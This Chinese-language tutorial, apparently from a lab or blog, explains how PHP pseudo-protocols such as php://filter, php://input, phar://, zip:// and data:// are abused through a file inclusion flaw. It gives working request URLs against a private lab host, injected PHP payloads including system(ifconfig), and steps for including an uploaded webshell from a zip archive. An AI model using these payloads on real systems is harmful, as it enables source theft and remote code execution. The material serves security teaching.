一.伪协议介绍

PHP支持以下几种协议:

file:// -访问本地文件系统

http:// -访问HTTP(s)网址

ftp:// -访问各个输入/输出流(I/O streams)

zlib:// -压缩流

data:// -数据(RFC 2397)

glob:// -查找匹配得文件路径模式

ssh2:// -Secure Shell 2

rar:// -RAR

ogg:// -音频流

exxpect:// -处理交互式的流

php:// 是一种伪协议,主要是开启了一个输入输出流,理解为文件数据传输的一个通道。php中的伪协议常使用的有如下几个:

php://input php://filter phar://

 

二.php://filter

当我们直接包含conn.php文件的时候,http://192.168.19.130:8443/security/Upload/fileinc.php?filename=../SQL/common.php

虽然代码已经调用,但是因为是php文档,被web容器解释,导致页面看不到源码内容。

这时候使用php://将我们要读取的文件放在数据流中,然后我们通过伪协议的方式读出来

php://filter/read/convert.base64-encode/resource=common.php

这段命令的意思就是打开数据流,把common.php的内容用base64编码的方式读出来

我们执行后,在页面上就能看到一串base64的编码,通过工具解码后就能看到明文源码

 http://192.168.19.130:8443/security/Upload/fileinc.php?filename=php://input

 

三.php://input

此方法需要条件,即开启allow_url_include=On。实际上这相当于一个远程包含的利用。

php://打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含即可执行代码。

 http://192.168.19.130:8443/security/Upload/fileinc.php?filename=php://input

然后在POST请求中输入恶意代码,执行包含既可实现恶意代码的执行,比如:

<?php phpinfo(); ?>

<?php system(ifconfig); ?>

JavaScript伪协议能在哪用_压缩文件

 

四.phpar://

主要是用于在php中对压缩文件格式的读取,这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击

用法就是把一句话木马压缩成zip格式,shell.txt -> shell.zip,然后再上传到服务器(后续通过前端页面上传也没有问题,通常

服务器不会限制zip文件),再访问:

 http://192.168.19.130:8443/security/Upload/fileinc.php?filename=phar://temp/shell.zip/shell.txt

 

五.zip://

也是对压缩文件进行读取操作,原理与用法跟phar几乎一样。区别是:

1.zip只能包含单级目录,不能/shell.zip%23folder%23shell.txt,而phar支持多级。

2.在压缩文件内的目录符号,要改成#,且在浏览器中请求的华,还要进行url编码%23

 http://192.168.19.130:8443/security/Upload/fileinc.php?filename=zip:///opt/lampp/htdocs/security/temp/shell.zip%23shell.txt

 

六.data://

data://本身是数据流封装器,其原理和用法跟php://input类似。

data://text/plain,<?php phpinfo(); ?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==(这里使用base64编码,需要减去php代码中的结束符号?>)